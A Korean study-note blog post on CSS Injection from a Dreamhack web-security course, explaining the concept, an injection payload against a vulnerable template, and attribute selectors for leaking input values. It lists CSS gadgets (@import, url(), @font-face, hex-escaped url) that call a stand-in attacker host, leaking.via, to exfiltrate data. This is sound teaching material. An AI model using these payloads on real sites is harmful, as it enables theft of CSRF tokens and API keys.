[Dreamhack-web] Exploit Tech: CSS Injection

서론 

웹 페이지 표현이 사용될 임의의 CSS 코드를 주입시켜, 의도하지 않은 속성이 정의되는 것을 CSS Injection이라고 한다.

 

CSS Injection - 개념

XSS와 비슷하게 웹 페이지 로딩 시 악의적인 문자열을 삽입하여 악의적인 동작을 이끄는 공격이다.  공격자가 임의 CSS 속성을 삽입해 웹페이지의 UI를 변조하거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔칠 수도 있다.

 

데이터의 예로는 CSRF Token, 피해자의 API key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자(Selector)를 통해 표현이 가능해야 한다. => 그래서 CSS 선택자로 표현이 불가능한 "script" 태그 내 데이터들은 탈취할 수 없다.

 

CSS Injection 은 HTML(style) 영역에 공격자가 임의 입력 값을 넣을 수 있거나 임의 HTML을 삽입할 수 있지만 Content-Security-Policy로 인해 자바스크립트를 실행할 수 없는 등 다양한 상황에서 사용할 수 있다.

 

CSS Injection - 기초

색깔 바꾸기

CSS Injection을 통해 임의 영역의 UI를 변경할 수 있음.

예를 들어, 웹 어플리케이션 소스코드가 다음과 같다면,

<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
if '<' in theme:
    exit(0)

theme에 다음과 같은 입력을 넣어 색깔을 변경할 수 있다.

DarkSeaGreen;} h1 {color : red

IP Ping Back 하기

클라이언트사이드 공격을 통해 데이터를 외부로 탈취하기 위해서는 공격자의 서버로 요청을 보낼 수 있어야 한다. CSS는 외부 리소스를 불러오는 기능을 제공한다. (이미지, 폰트)

CSS Injection을 통한 h1 글씨 색 변경 결과
CSS 가젯	설명
@import 'https://leaking.via/css-import-string';	외부 CSS 파일을 로드하며, 모든 속성 중 가장 상단에 위치해야 한다. 그렇지 않으면 @import는 무시된다.
@import url(https://leaking.via/css-import-url);	url 함수는 URL을 불러오는 역할을 한다. 상황에 따라서 선택적으로 사용할 수 있다.
background: url(https://leaking.via/css-background);	요소의 배경을 변경할 때 사용할 이미지를 불러온다.
@font-face { font-family: leak; src: url(https:/leaking.via/css-font-face-src);}	불러올 폰트 파일의 주소를 지정한다.
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2);	CSS에서 함수를 호출할 때 ascii형태의 "url"이 아닌 hex형태인 "\000075\000072\00006C"도 지원한다.

 

CSS Injection - 데이터 탈취

입력 박스 내용 탈취

CSS Attribute Selector (특성 선택자)

CSS Attribute Selector는 Element의 Attribute를 Selection할 수 있는 기능을 제공한다.

구문	설명
[attr]	attr이라는 이름의 특성을 가진 요소를 선택한다.
[attr=value]	attr이라는 이름의 특성값이 정확히 value인 요소를 선택한다.
[attr~=value]	attr이라는 이름의 특성값이 정확히 value인 요소를 선택한다. attr 특성은 공백으로 구분한 여러 개의 값을 가질 수도 있다.
[attr^=value]	attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택한다.
[attr$=value]	attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택한다.

 

위 구문 중 [attr^=value]를 이용하면 입력 박스 내용을 탈취할 수 있다.